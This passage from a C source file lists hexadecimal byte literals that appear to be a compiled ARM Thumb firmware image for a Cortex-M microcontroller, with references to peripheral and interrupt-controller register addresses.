0x00u, 0x2eu, 0x00u, 0xd1u, 0x8du, 0xe6u, 0xa1u, 0x6au, 0xcbu, 0x68u, 0x9bu, 0xb2u, 0x00u, 0x93u, 0x4bu, 0x68u,
0x0au, 0x68u, 0x40u, 0x6au, 0x89u, 0x68u, 0xb0u, 0x47u, 0x41u, 0xe7u, 0x16u, 0x6cu, 0x28u, 0x68u, 0x00u, 0x2eu,
0x00u, 0xd1u, 0x7eu, 0xe6u, 0xa1u, 0x6au, 0x0bu, 0x69u, 0x00u, 0x93u, 0x4bu, 0x68u, 0x0au, 0x68u, 0x89u, 0x68u,
0x40u, 0x6au, 0xb0u, 0x47u, 0x1au, 0xe7u, 0x56u, 0x6cu, 0x28u, 0x68u, 0x00u, 0x2eu, 0x00u, 0xd1u, 0x70u, 0xe6u,
0xa2u, 0x6au, 0xd3u, 0x68u, 0x11u, 0x78u, 0x00u, 0x93u, 0x93u, 0x68u, 0x52u, 0x68u, 0x60u, 0xe7u, 0x96u, 0x6cu,
0xf2u, 0xe7u, 0x13u, 0x6du, 0x2au, 0x68u, 0x00u, 0x2bu, 0x00u, 0xd1u, 0x62u, 0xe6u, 0xa1u, 0x6au, 0x50u, 0x6au,
0x09u, 0x68u, 0x98u, 0x47u, 0x02u, 0xe7u, 0xa1u, 0x6au, 0x28u, 0x68u, 0x0bu, 0x69u, 0x01u, 0x93u, 0x4bu, 0x68u,
0x00u, 0x93u, 0x8bu, 0x69u, 0x8au, 0x68u, 0x40u, 0x6au, 0xc9u, 0x68u, 0xfbu, 0xf7u, 0xe9u, 0xfau, 0xf5u, 0xe6u,
0xa1u, 0x6au, 0x28u, 0x68u, 0x4bu, 0x68u, 0x01u, 0x93u, 0x8bu, 0x69u, 0x00u, 0x93u, 0x8bu, 0x68u, 0xcau, 0x68u,
0x40u, 0x6au, 0x09u, 0x69u, 0xfbu, 0xf7u, 0x0eu, 0xfcu, 0xe8u, 0xe6u, 0x50u, 0x6au, 0x92u, 0x6au, 0x00u, 0x2au,
0x00u, 0xdau, 0x02u, 0x4bu, 0x00u, 0x26u, 0xceu, 0x77u, 0x4eu, 0xe6u, 0xc0u, 0x46u, 0x01u, 0x00u, 0x32u, 0x00u,
0x70u, 0xb5u, 0x11u, 0x4cu, 0x11u, 0x4bu, 0x22u, 0x68u, 0x1du, 0x68u, 0x10u, 0x68u, 0x53u, 0x68u, 0x01u, 0x22u,
0x29u, 0x6au, 0x80u, 0x33u, 0x5bu, 0x01u, 0xcbu, 0x18u, 0xdeu, 0x68u, 0x82u, 0x40u, 0x36u, 0x0cu, 0xb2u, 0x42u,
0x11u, 0xd1u, 0x12u, 0x04u, 0x1au, 0x60u, 0xacu, 0x35u, 0x1bu, 0x68u, 0x2bu, 0x88u, 0x58u, 0x43u, 0x40u, 0x18u,
0x07u, 0x49u, 0x00u, 0xf0u, 0xb5u, 0xf8u, 0x00u, 0x28u, 0x05u, 0xd1u, 0x23u, 0x68u, 0x9bu, 0x68u, 0x00u, 0x2bu,
0x01u, 0xd1u, 0xffu, 0xf7u, 0xcdu, 0xfdu, 0x70u, 0xbdu, 0x44u, 0x05u, 0x00u, 0x08u, 0x34u, 0x07u, 0x00u, 0x08u,
0x48u, 0x05u, 0x00u, 0x08u, 0x01u, 0x4bu, 0x18u, 0x60u, 0x70u, 0x47u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u,
0x04u, 0x4bu, 0x1bu, 0x68u, 0x1au, 0x00u, 0xacu, 0x32u, 0x12u, 0x88u, 0x1bu, 0x6au, 0x50u, 0x43u, 0xc0u, 0x18u,
0x70u, 0x47u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u, 0x1du, 0x4bu, 0x98u, 0x42u, 0x0fu, 0xd0u, 0x10u, 0xd8u,
0x40u, 0x28u, 0x2fu, 0xd0u, 0x05u, 0xd8u, 0x00u, 0x28u, 0x30u, 0xd0u, 0x10u, 0x28u, 0x28u, 0xd0u, 0x19u, 0x48u,
0x1eu, 0xe0u, 0x80u, 0x28u, 0x28u, 0xd0u, 0x80u, 0x23u, 0x5bu, 0x00u, 0x98u, 0x42u, 0xf7u, 0xd1u, 0x14u, 0x48u,
0x16u, 0xe0u, 0x15u, 0x4bu, 0x98u, 0x42u, 0x14u, 0xd0u, 0x08u, 0xd8u, 0xa0u, 0x23u, 0x1bu, 0x06u, 0x98u, 0x42u,
0x1cu, 0xd0u, 0x12u, 0x4bu, 0x98u, 0x42u, 0xeau, 0xd1u, 0xa0u, 0x20u, 0x0bu, 0xe0u, 0x10u, 0x4bu, 0x98u, 0x42u,
0x0au, 0xd0u, 0x10u, 0x4bu, 0x98u, 0x42u, 0x09u, 0xd0u, 0x0fu, 0x4bu, 0x98u, 0x42u, 0xdfu, 0xd1u, 0x0fu, 0x48u,
0x70u, 0x47u, 0xa4u, 0x20u, 0xc0u, 0x03u, 0xfbu, 0xe7u, 0x0du, 0x48u, 0xf9u, 0xe7u, 0x0du, 0x48u, 0xf7u, 0xe7u,
0x0du, 0x48u, 0xf5u, 0xe7u, 0x0du, 0x48u, 0xf3u, 0xe7u, 0x0du, 0x48u, 0xf1u, 0xe7u, 0x00u, 0x20u, 0xefu, 0xe7u,
0x06u, 0x00u, 0x52u, 0x00u, 0xffu, 0x00u, 0x52u, 0x00u, 0x01u, 0x00u, 0x00u, 0xf0u, 0x09u, 0x00u, 0x00u, 0xa0u,
0x04u, 0x00u, 0x00u, 0xf0u, 0x05u, 0x00u, 0x00u, 0xf0u, 0x03u, 0x00u, 0x00u, 0xf0u, 0x01u, 0x00u, 0x52u, 0x00u,
0x02u, 0x00u, 0x52u, 0x00u, 0x03u, 0x00u, 0x52u, 0x00u, 0x01u, 0x00u, 0x50u, 0x00u, 0x02u, 0x00u, 0x50u, 0x00u,
0x05u, 0x00u, 0x52u, 0x00u, 0x10u, 0xb5u, 0x00u, 0x20u, 0xffu, 0xf7u, 0x9au, 0xffu, 0x0au, 0x4bu, 0x1cu, 0x68u,
0x23u, 0x00u, 0xb0u, 0x33u, 0x1bu, 0x68u, 0xc0u, 0x18u, 0x03u, 0x68u, 0x00u, 0x2bu, 0x0au, 0xdbu, 0x07u, 0x4bu,
0x18u, 0x68u, 0xffu, 0xf7u, 0x99u, 0xffu, 0x01u, 0x22u, 0x63u, 0x68u, 0x9au, 0x60u, 0x9au, 0x68u, 0x00u, 0x2au,
0xfcu, 0xd1u, 0x10u, 0xbdu, 0x02u, 0x48u, 0xfcu, 0xe7u, 0x34u, 0x07u, 0x00u, 0x08u, 0x4cu, 0x05u, 0x00u, 0x08u,
0x02u, 0x00u, 0x50u, 0x00u, 0x06u, 0x4bu, 0x1bu, 0x68u, 0xb0u, 0x33u, 0x1bu, 0x68u, 0xc3u, 0x18u, 0x1bu, 0x68u,
0x00u, 0x2bu, 0x03u, 0xdau, 0x89u, 0xb2u, 0x41u, 0x60u, 0x00u, 0x20u, 0x70u, 0x47u, 0x01u, 0x48u, 0xfcu, 0xe7u,
0x34u, 0x07u, 0x00u, 0x08u, 0x01u, 0x00u, 0x8au, 0x00u, 0x03u, 0x68u, 0x00u, 0x2bu, 0x04u, 0xdau, 0x89u, 0xb2u,
0xc2u, 0x60u, 0x81u, 0x60u, 0x00u, 0x20u, 0x70u, 0x47u, 0x00u, 0x48u, 0xfcu, 0xe7u, 0x01u, 0x00u, 0x8au, 0x00u,
0x06u, 0x4bu, 0x1bu, 0x68u, 0xb0u, 0x33u, 0x1bu, 0x68u, 0xc3u, 0x18u, 0x1bu, 0x68u, 0x00u, 0x2bu, 0x03u, 0xdau,
0xc3u, 0x68u, 0x00u, 0x20u, 0x0bu, 0x60u, 0x70u, 0x47u, 0x01u, 0x48u, 0xfcu, 0xe7u, 0x34u, 0x07u, 0x00u, 0x08u,
0x01u, 0x00u, 0x8au, 0x00u, 0x02u, 0x4bu, 0x1au, 0x68u, 0x00u, 0x2au, 0x00u, 0xd1u, 0x18u, 0x60u, 0x70u, 0x47u,
0x60u, 0x05u, 0x00u, 0x08u, 0xf0u, 0xb5u, 0x2cu, 0x24u, 0x60u, 0x43u, 0x12u, 0x4cu, 0x1fu, 0x00u, 0x24u, 0x68u,
0x1eu, 0x0au, 0x20u, 0x18u, 0xffu, 0x24u, 0x27u, 0x40u, 0x34u, 0x40u, 0x0fu, 0x4eu, 0x1bu, 0x0cu, 0x35u, 0x68u,
0x07u, 0x60u, 0x2eu, 0x6au, 0x44u, 0x60u, 0x83u, 0x60u, 0xacu, 0x35u, 0x2du, 0x88u, 0x80u, 0x34u, 0x6fu, 0x43u,
0x64u, 0x01u, 0x34u, 0x19u, 0xbfu, 0x19u, 0x1eu, 0x04u, 0x33u, 0x43u, 0x07u, 0x61u, 0x44u, 0x61u, 0xa3u, 0x60u,
0x00u, 0x23u, 0x83u, 0x61u, 0x05u, 0x9bu, 0xc2u, 0x61u, 0x01u, 0x62u, 0x00u, 0x2bu, 0x01u, 0xd0u, 0x1bu, 0x88u,
0x83u, 0x81u, 0xf0u, 0xbdu, 0x60u, 0x05u, 0x00u, 0x08u, 0x34u, 0x07u, 0x00u, 0x08u, 0xf0u, 0xb5u, 0x83u, 0x68u,
0x85u, 0xb0u, 0x02u, 0xadu, 0x2bu, 0x80u, 0x15u, 0x4bu, 0x02u, 0x68u, 0x1bu, 0x68u, 0x06u, 0x6au, 0x9bu, 0x8eu,
0x47u, 0x6au, 0x9bu, 0x18u, 0x6bu, 0x80u, 0x43u, 0x68u, 0x00u, 0x95u, 0x82u, 0x6au, 0xc1u, 0x6au, 0x04u, 0x00u,
0x03u, 0x93u, 0x03u, 0x69u, 0xc0u, 0x68u, 0xffu, 0xf7u, 0xbdu, 0xffu, 0x00u, 0x21u, 0x3bu, 0x00u, 0x0au, 0x00u,
0x00u, 0x91u, 0x30u, 0x00u, 0xffu, 0xf7u, 0xb6u, 0xffu, 0x21u, 0x6bu, 0x28u, 0x00u, 0x00u, 0xf0u, 0x86u, 0xf9u,
0x00u, 0x22u, 0xabu, 0x5eu, 0x00u, 0x2bu, 0x06u, 0xdbu, 0x1fu, 0x22u, 0x13u, 0x40u, 0x1eu, 0x3au, 0x9au, 0x40u,
0x13u, 0x00u, 0x03u, 0x4au, 0x13u, 0x60u, 0x05u, 0xb0u, 0xf0u, 0xbdu, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u,
0x00u, 0xe1u, 0x00u, 0xe0u, 0xf7u, 0xb5u, 0x2cu, 0x25u, 0x13u, 0x4cu, 0x68u, 0x43u, 0x26u, 0x68u, 0x69u, 0x43u,
0x34u, 0x18u, 0x25u, 0x69u, 0x01u, 0x93u, 0x71u, 0x18u, 0x00u, 0x2du, 0x19u, 0xd0u, 0x88u, 0x69u, 0x00u, 0x28u,
0x18u, 0xd1u, 0x2eu, 0x68u, 0x00u, 0x2eu, 0x15u, 0xdau, 0x67u, 0x68u, 0x01u, 0x24u, 0x26u, 0x00u, 0x4bu, 0x68u,
0x9eu, 0x40u, 0xb4u, 0x46u, 0x13u, 0x68u, 0x9eu, 0xb2u, 0x63u, 0x46u, 0x1bu, 0x04u, 0x1eu, 0x43u, 0x16u, 0x60u,
0xeau, 0x60u, 0x8cu, 0x61u, 0xbcu, 0x40u, 0x01u, 0x9bu, 0xa4u, 0xb2u, 0x4bu, 0x62u, 0xacu, 0x60u, 0xfeu, 0xbdu,
0x02u, 0x48u, 0xfcu, 0xe7u, 0x02u, 0x48u, 0xfau, 0xe7u, 0x60u, 0x05u, 0x00u, 0x08u, 0x04u, 0x02u, 0x8au, 0x00u,
0x07u, 0x02u, 0x8au, 0x00u, 0x73u, 0xb5u, 0x00u, 0x26u, 0x42u, 0x69u, 0x04u, 0x00u, 0xd5u, 0x68u, 0x01u, 0x96u,
0x2bu, 0x0cu, 0xb3u, 0x42u, 0x21u, 0xd0u, 0x1bu, 0x04u, 0x13u, 0x60u, 0x13u, 0x68u, 0x19u, 0x4bu, 0x00u, 0x69u,
0x1bu, 0x68u, 0xb0u, 0x33u, 0x1bu, 0x68u, 0xc3u, 0x18u, 0x1bu, 0x68u, 0xb3u, 0x42u, 0x15u, 0xdau, 0x01u, 0xa9u,
0xffu, 0xf7u, 0x3eu, 0xffu, 0xb0u, 0x42u, 0x0cu, 0xd1u, 0x01u, 0x98u, 0xe2u, 0x69u, 0x03u, 0x68u, 0x1eu, 0x0cu,
0xdbu, 0xb2u, 0x9au, 0x42u, 0x05u, 0xd9u, 0x22u, 0x6au, 0x9bu, 0x00u, 0x9bu, 0x58u, 0x00u, 0x2bu, 0x00u, 0xd0u,
0x98u, 0x47u, 0x31u, 0x00u, 0x20u, 0x69u, 0xffu, 0xf7u, 0x0du, 0xffu, 0xadu, 0xb2u, 0x00u, 0x2du, 0x09u, 0xd0u,
0x63u, 0x69u, 0x1du, 0x60u, 0x00u, 0x25u, 0x1bu, 0x68u, 0x63u, 0x6au, 0xabu, 0x42u, 0x05u, 0xd0u, 0x98u, 0x47u,
0x65u, 0x62u, 0xa5u, 0x61u, 0x63u, 0x69u, 0x1bu, 0x68u, 0x73u, 0xbdu, 0xa3u, 0x6au, 0x00u, 0x2bu, 0xf8u, 0xd0u,
0x98u, 0x47u, 0xf6u, 0xe7u, 0x34u, 0x07u, 0x00u, 0x08u, 0x2cu, 0x23u, 0x10u, 0xb5u, 0x43u, 0x43u, 0x03u, 0x4au,
0x10u, 0x68u, 0xc0u, 0x18u, 0xffu, 0xf7u, 0xb6u, 0xffu, 0x10u, 0xbdu, 0xc0u, 0x46u, 0x60u, 0x05u, 0x00u, 0x08u,
0xf8u, 0xb5u, 0x19u, 0x4bu, 0x0fu, 0x00u, 0x1bu, 0x68u, 0x1au, 0x00u, 0x2eu, 0x32u, 0x12u, 0x78u, 0x82u, 0x42u,
0x27u, 0xd9u, 0x00u, 0x29u, 0x25u, 0xd0u, 0x1fu, 0x25u, 0x0au, 0x68u, 0x15u, 0x40u, 0x21u, 0xd1u, 0x19u, 0x00u,
0xacu, 0x31u, 0x0cu, 0x88u, 0x11u, 0x4eu, 0x60u, 0x43u, 0x1cu, 0x6au, 0xd2u, 0x08u, 0x04u, 0x19u, 0x29u, 0x00u,
0x78u, 0x68u, 0x34u, 0x60u, 0x00u, 0xf0u, 0xcbu, 0xfcu, 0x29u, 0x00u, 0x20u, 0x00u, 0xffu, 0xf7u, 0xcau, 0xfeu,
0x3au, 0x00u, 0x29u, 0x00u, 0x30u, 0x68u, 0xffu, 0xf7u, 0xd7u, 0xfeu, 0x04u, 0x1eu, 0x07u, 0xd1u, 0x01u, 0x00u,
0x30u, 0x68u, 0xffu, 0xf7u, 0xbfu, 0xfeu, 0x03u, 0x00u, 0x20u, 0x00u, 0x00u, 0x2bu, 0x00u, 0xd0u, 0x04u, 0x48u,
0xf8u, 0xbdu, 0x04u, 0x48u, 0xfcu, 0xe7u, 0xc0u, 0x46u, 0x34u, 0x07u, 0x00u, 0x08u, 0x64u, 0x05u, 0x00u, 0x08u,
0x01u, 0x01u, 0x8au, 0x00u, 0x03u, 0x01u, 0x8au, 0x00u, 0x10u, 0xb5u, 0x00u, 0x2au, 0x0du, 0xd1u, 0x00u, 0x29u,
0x14u, 0xd1u, 0x0bu, 0x4bu, 0x1au, 0x68u, 0x13u, 0x00u, 0xacu, 0x33u, 0x1bu, 0x88u, 0x58u, 0x43u, 0x13u, 0x6au,
0xc0u, 0x18u, 0x08u, 0x4bu, 0x18u, 0x60u, 0x08u, 0x00u, 0x10u, 0xbdu, 0x00u, 0x29u, 0x06u, 0xd0u, 0x06u, 0x4bu,
0x19u, 0x60u, 0x19u, 0x00u, 0x5au, 0x60u, 0xffu, 0xf7u, 0xabu, 0xffu, 0xf5u, 0xe7u, 0x03u, 0x48u, 0xf3u, 0xe7u,
0x34u, 0x07u, 0x00u, 0x08u, 0x64u, 0x05u, 0x00u, 0x08u, 0xe0u, 0x04u, 0x00u, 0x08u, 0x03u, 0x01u, 0x8au, 0x00u,
0xf7u, 0xb5u, 0x18u, 0x4fu, 0x04u, 0x00u, 0x3bu, 0x68u, 0x01u, 0x91u, 0xdeu, 0x68u, 0x33u, 0x68u, 0x83u, 0x42u,
0x26u, 0xd9u, 0x00u, 0x25u, 0xa9u, 0x42u, 0x02u, 0xd1u, 0xf9u, 0xf7u, 0xc7u, 0xfeu, 0x05u, 0x00u, 0x38u, 0x68u,
0x03u, 0x68u, 0x00u, 0x2bu, 0x1au, 0xdau, 0x1fu, 0x22u, 0x01u, 0x23u, 0x22u, 0x40u, 0x93u, 0x40u, 0x64u, 0x09u,
0x72u, 0x68u, 0xa4u, 0x00u, 0x14u, 0x19u, 0x22u, 0x68u, 0x13u, 0x42u, 0x0du, 0xd0u, 0x9au, 0x43u, 0x22u, 0x60u,
0x00u, 0x24u, 0x00u, 0x21u, 0xffu, 0xf7u, 0x66u, 0xfeu, 0x01u, 0x9bu, 0x00u, 0x2bu, 0x02u, 0xd1u, 0x28u, 0x00u,
0xf9u, 0xf7u, 0xafu, 0xfeu, 0x20u, 0x00u, 0xfeu, 0xbdu, 0x03u, 0x4cu, 0xf2u, 0xe7u, 0x03u, 0x4cu, 0xf3u, 0xe7u,
0x03u, 0x4cu, 0xf7u, 0xe7u, 0x64u, 0x05u, 0x00u, 0x08u, 0x02u, 0x01u, 0x88u, 0x00u, 0x03u, 0x01u, 0x88u, 0x00u,
0x04u, 0x01u, 0x8au, 0x00u, 0x0au, 0x4bu, 0x1bu, 0x68u, 0xdbu, 0x68u, 0x1au, 0x68u, 0x82u, 0x42u, 0x0du, 0xd9u,
0x59u, 0x68u, 0x1fu, 0x23u, 0x42u, 0x09u, 0x18u, 0x40u, 0x1eu, 0x3bu, 0x83u, 0x40u, 0x92u, 0x00u, 0x50u, 0x58u,
0x18u, 0x40u, 0x43u, 0x1eu, 0x98u, 0x41u, 0x03u, 0x4bu, 0xc0u, 0x18u, 0x70u, 0x47u, 0x02u, 0x48u, 0xfcu, 0xe7u,
0x64u, 0x05u, 0x00u, 0x08u, 0x00u, 0x01u, 0x88u, 0x00u, 0x04u, 0x01u, 0x8au, 0x00u, 0x14u, 0x4bu, 0x30u, 0xb5u,
0x1au, 0x68u, 0x07u, 0x24u, 0x13u, 0x00u, 0x28u, 0x33u, 0x1bu, 0x78u, 0x1fu, 0x2bu, 0x15u, 0xd8u, 0x83u, 0x08u,
0x1du, 0x00u, 0xa5u, 0x43u, 0x2cu, 0x1eu, 0x0fu, 0xd1u, 0x03u, 0x34u, 0x20u, 0x40u, 0xa0u, 0x40u, 0x81u, 0x40u,
0x12u, 0x68u, 0x9bu, 0x00u, 0x20u, 0x32u, 0xd3u, 0x18u, 0x0au, 0x00u, 0xffu, 0x21u, 0x81u, 0x40u, 0x1cu, 0x68u,
0x62u, 0x40u, 0x11u, 0x40u, 0x61u, 0x40u, 0x19u, 0x60u, 0x30u, 0xbdu, 0x80u, 0x23u, 0x20u, 0x40u, 0x1bu, 0x06u,
0x18u, 0x43u, 0x80u, 0x23u, 0x9bu, 0x01u, 0x12u, 0x68u, 0xc9u, 0x18u, 0x89u, 0x00u, 0x88u, 0x50u, 0xf3u, 0xe7u,
0x34u, 0x07u, 0x00u, 0x08u, 0x06u, 0x4bu, 0x9au, 0x68u, 0x03u, 0x00u, 0x06u, 0x48u, 0x10u, 0x33u, 0x9bu, 0x00u,
0x82u, 0x42u, 0x02u, 0xd1u, 0x98u, 0x58u, 0x99u, 0x50u, 0x70u, 0x47u, 0x03u, 0x4au, 0xd0u, 0x58u, 0xfbu, 0xe7u,
0x00u, 0xedu, 0x00u, 0xe0u, 0x00u, 0x00u, 0x00u, 0x08u, 0x00u, 0x00u, 0x00u, 0x10u, 0xf8u, 0xb5u, 0x06u, 0x00u,
0x0du, 0x00u, 0x00u, 0x28u, 0x3au, 0xd0u, 0x00u, 0x23u, 0xc0u, 0x5eu, 0x00u, 0x28u, 0x28u, 0xdbu, 0x71u, 0x88u,
0xffu, 0xf7u, 0xb4u, 0xffu, 0x00u, 0x24u, 0xffu, 0x22u, 0x03u, 0x27u, 0x94u, 0x46u, 0x00u, 0x23u, 0xf0u, 0x5eu,
0x71u, 0x68u, 0x83u, 0xb2u, 0x1fu, 0x40u, 0xffu, 0x00u, 0x66u, 0x46u, 0xbau, 0x40u, 0x89u, 0x01u, 0x31u, 0x40u,
0xd2u, 0x43u, 0xb9u, 0x40u, 0x00u, 0x28u, 0x15u, 0xdbu, 0x11u, 0x4eu, 0x83u, 0x08u, 0x9bu, 0x00u, 0x9bu, 0x19u,
0xc0u, 0x26u, 0xb6u, 0x00u, 0x9fu, 0x59u, 0x3au, 0x40u, 0x11u, 0x43u, 0x99u, 0x51u, 0x0du, 0x4bu, 0x9au, 0x68u,
0x0du, 0x4bu, 0x9au, 0x42u, 0x02u, 0xd1u, 0x29u, 0x00u, 0xffu, 0xf7u, 0xbcu, 0xffu, 0x20u, 0x00u, 0xf8u, 0xbdu,
0x0au, 0x4cu, 0xd8u, 0xe7u, 0x0fu, 0x26u, 0x33u, 0x40u, 0x08u, 0x3bu, 0x06u, 0x4eu, 0x9bu, 0x08u, 0x9bu, 0x00u,
0x9bu, 0x19u, 0xdeu, 0x69u, 0x32u, 0x40u, 0x11u, 0x43u, 0xd9u, 0x61u, 0xe7u, 0xe7u, 0x03u, 0x4cu, 0xedu, 0xe7u,
0x00u, 0xe1u, 0x00u, 0xe0u, 0x00u, 0xedu, 0x00u, 0xe0u, 0x00u, 0x00u, 0x00u, 0x08u, 0x01u, 0x00u, 0x56u, 0x00u,
0xfeu, 0xe7u, 0x00u, 0x00u, 0x02u, 0x68u, 0x0au, 0x4bu, 0x10u, 0xb5u, 0x1au, 0x60u, 0x42u, 0x68u, 0x5au, 0x60u,
0x82u, 0x68u, 0x9au, 0x60u, 0xc2u, 0x68u, 0xdau, 0x60u, 0x02u, 0x69u, 0x1au, 0x61u, 0x42u, 0x69u, 0x5au, 0x61u,
0x82u, 0x69u, 0x9au, 0x61u, 0xc2u, 0x69u, 0xdau, 0x61u, 0xffu, 0xf7u, 0xeau, 0xffu, 0x10u, 0xbdu, 0xc0u, 0x46u,
0xf8u, 0x04u, 0x00u, 0x08u, 0xb0u, 0x23u, 0x5bu, 0x05u, 0x5au, 0x78u, 0x21u, 0x20u, 0x00u, 0x2au, 0x01u, 0xd0u,
0x58u, 0x78u, 0xc0u, 0xb2u, 0x70u, 0x47u, 0xb0u, 0x23u, 0x5bu, 0x05u, 0x9au, 0x89u, 0x00u, 0x2au, 0x02u, 0xd0u,
0x98u, 0x89u, 0x80u, 0xb2u, 0x70u, 0x47u, 0x80u, 0x20u, 0x40u, 0x00u, 0xfbu, 0xe7u, 0x7fu, 0xb5u, 0x27u, 0x4bu,
0x86u, 0x00u, 0x0du, 0x00u, 0xf4u, 0x58u, 0x04u, 0x29u, 0x01u, 0xd0u, 0x01u, 0x29u, 0x27u, 0xd1u, 0x00u, 0x20u,
0x0fu, 0xe0u, 0xa3u, 0x68u, 0x2bu, 0x42u, 0x0bu, 0xd1u, 0xe3u, 0x68u, 0x29u, 0x00u, 0x1au, 0x68u, 0x5bu, 0x68u,
0x02u, 0x92u, 0x01u, 0x93u, 0x03u, 0x93u, 0x02u, 0xa8u, 0x23u, 0x68u, 0x98u, 0x47u, 0x1cu, 0x4bu, 0x1cu, 0x60u,
0x64u, 0x69u, 0x00u, 0x2cu, 0x0bu, 0xd0u, 0x1bu, 0x4bu, 0x98u, 0x42u, 0xeau, 0xd1u, 0x01u, 0x2du, 0xe8u, 0xd1u,
0x17u, 0x4bu, 0x18u, 0x48u, 0x1au, 0x68u, 0x18u, 0x4bu, 0x9au, 0x51u, 0x04u, 0xb0u, 0x70u, 0xbdu, 0x01u, 0x2du,
0xfbu, 0xd1u, 0x14u, 0x4bu, 0x98u, 0x42u, 0xf3u, 0xd0u, 0x13u, 0x4bu, 0x9cu, 0x51u, 0xf5u, 0xe7u, 0x02u, 0x29u,
0x06u, 0xd1u, 0x0fu, 0x4bu, 0x1bu, 0x68u, 0x18u, 0x1eu, 0xefu, 0xd0u, 0x1cu, 0x69u, 0x03u, 0xe0u, 0x1cu, 0x00u,
0x63u, 0x69u, 0x00u, 0x2bu, 0xfbu, 0xd1u, 0x00u, 0x20u, 0x00u, 0x2cu, 0xe6u, 0xd0u, 0xa3u, 0x68u, 0x2bu, 0x42u,
0x09u, 0xd1u, 0xe3u, 0x68u, 0x29u, 0x00u, 0x1au, 0x68u, 0x5bu, 0x68u, 0x02u, 0x92u, 0x01u, 0x93u, 0x03u, 0x93u,
0x02u, 0xa8u, 0x23u, 0x68u, 0x98u, 0x47u, 0x24u, 0x69u, 0xeeu, 0xe7u, 0xc0u, 0x46u, 0xa0u, 0x05u, 0x00u, 0x08u,
0x9cu, 0x05u, 0x00u, 0x08u, 0xffu, 0x00u, 0x42u, 0x00u, 0x88u, 0x05u, 0x00u, 0x08u, 0xf2u, 0x22u, 0x0eu, 0x4bu,
0xd2u, 0x01u, 0x1bu, 0x68u, 0xdbu, 0x68u, 0x9au, 0x58u, 0x02u, 0x60u, 0xf0u, 0x22u, 0xd2u, 0x01u, 0x9au, 0x58u,
0x42u, 0x60u, 0x0au, 0x4au, 0x9au, 0x58u, 0x82u, 0x60u, 0x09u, 0x4au, 0x9au, 0x58u, 0xc2u, 0x60u, 0x09u, 0x4au,
0x9au, 0x58u, 0x02u, 0x61u, 0x08u, 0x4au, 0x9au, 0x58u, 0x42u, 0x61u, 0x08u, 0x4au, 0x9au, 0x58u, 0x82u, 0x61u,
0x07u, 0x4au, 0x9bu, 0x58u, 0xc3u, 0x61u, 0x70u, 0x47u, 0x34u, 0x07u, 0x00u, 0x08u, 0x04u, 0x78u, 0x00u, 0x00u,
0x08u, 0x78u, 0x00u, 0x00u, 0x0cu, 0x78u, 0x00u, 0x00u, 0x10u, 0x78u, 0x00u, 0x00u, 0x14u, 0x78u, 0x00u, 0x00u,
0x18u, 0x78u, 0x00u, 0x00u, 0xf0u, 0x22u, 0x0eu, 0x4bu, 0x41u, 0x68u, 0x1bu, 0x68u, 0xd2u, 0x01u, 0xdbu, 0x68u,
0x99u, 0x50u, 0x81u, 0x68u, 0x0bu, 0x4au, 0x99u, 0x50u, 0xc1u, 0x68u, 0x0bu, 0x4au, 0x99u, 0x50u, 0x01u, 0x69u,
0x0au, 0x4au, 0x99u, 0x50u, 0x41u, 0x69u, 0x0au, 0x4au, 0x99u, 0x50u, 0x81u, 0x69u, 0x09u, 0x4au, 0x99u, 0x50u,
0xc1u, 0x69u, 0x09u, 0x4au, 0x99u, 0x50u, 0x01u, 0x68u, 0xe8u, 0x32u, 0x99u, 0x50u, 0x70u, 0x47u, 0xc0u, 0x46u,
0x34u, 0x07u, 0x00u, 0x08u, 0x04u, 0x78u, 0x00u, 0x00u, 0x08u, 0x78u, 0x00u, 0x00u, 0x0cu, 0x78u, 0x00u, 0x00u,
0x10u, 0x78u, 0x00u, 0x00u, 0x14u, 0x78u, 0x00u, 0x00u, 0x18u, 0x78u, 0x00u, 0x00u, 0xf7u, 0xb5u, 0x3fu, 0x4du,
0x07u, 0x00u, 0x6bu, 0x68u, 0x00u, 0x2bu, 0x4au, 0xd1u, 0xf9u, 0xf7u, 0x0fu, 0xfdu, 0x6bu, 0x68u, 0x01u, 0x90u,
0x00u, 0x2bu, 0x56u, 0xd1u, 0x3au, 0x4eu, 0x33u, 0x68u, 0x1au, 0x00u, 0x41u, 0x32u, 0x12u, 0x78u, 0x00u, 0x2au,
0x07u, 0xd0u, 0x9bu, 0x68u, 0xe0u, 0x33u, 0x1bu, 0x68u, 0xdbu, 0x06u, 0x02u, 0xd5u, 0x35u, 0x48u, 0xffu, 0xf7u,
0x8du, 0xffu, 0xffu, 0xf7u, 0x28u, 0xffu, 0x80u, 0x23u, 0x5bu, 0x00u, 0x98u, 0x42u, 0x46u, 0xd1u, 0x38u, 0x00u,
0x00u, 0xf0u, 0xbau, 0xfau, 0x00u, 0x24u, 0x33u, 0x68u, 0x1au, 0x00u, 0x41u, 0x32u, 0x12u, 0x78u, 0x00u, 0x2au,
0x17u, 0xd0u, 0x00u, 0x28u, 0x15u, 0xd0u, 0x9bu, 0x68u, 0xe0u, 0x33u, 0x1bu, 0x68u, 0xdbu, 0x06u, 0x10u, 0xd5u,
0xffu, 0xf7u, 0x08u, 0xffu, 0x27u, 0x4bu, 0x21u, 0x28u, 0x08u, 0xd0u, 0x32u, 0x68u, 0x13u, 0x00u, 0xacu, 0x33u,
0x19u, 0x88u, 0x07u, 0x23u, 0x4bu, 0x43u, 0x12u, 0x6au, 0x9bu, 0x18u, 0xdbu, 0x68u, 0x18u, 0x00u, 0xffu, 0xf7u,
0x91u, 0xffu, 0x01u, 0x98u, 0xf9u, 0xf7u, 0xd5u, 0xfcu, 0x00u, 0x2cu, 0x0eu, 0xd1u, 0x6bu, 0x68u, 0x00u, 0x2bu,
0x03u, 0xd0u, 0x08u, 0x21u, 0x01u, 0x20u, 0xffu, 0xf7u, 0x01u, 0xffu, 0x20u, 0x00u, 0xfeu, 0xbdu, 0x01u, 0x21u,
0x08u, 0x00u, 0xffu, 0xf7u, 0xfbu, 0xfeu, 0x04u, 0x1eu, 0xaeu, 0xd0u, 0x6bu, 0x68u, 0x00u, 0x2bu, 0x03u, 0xd0u,
0x02u, 0x21u, 0x01u, 0x20u, 0xffu, 0xf7u, 0xf2u, 0xfeu, 0x13u, 0x4bu, 0x9cu, 0x42u, 0xedu, 0xd0u, 0x13u, 0x4cu,
0xebu, 0xe7u, 0x04u, 0x21u, 0x01u, 0x20u, 0xffu, 0xf7u, 0xe9u, 0xfeu, 0xa3u, 0xe7u, 0x32u, 0x68u, 0x13u, 0x00u,
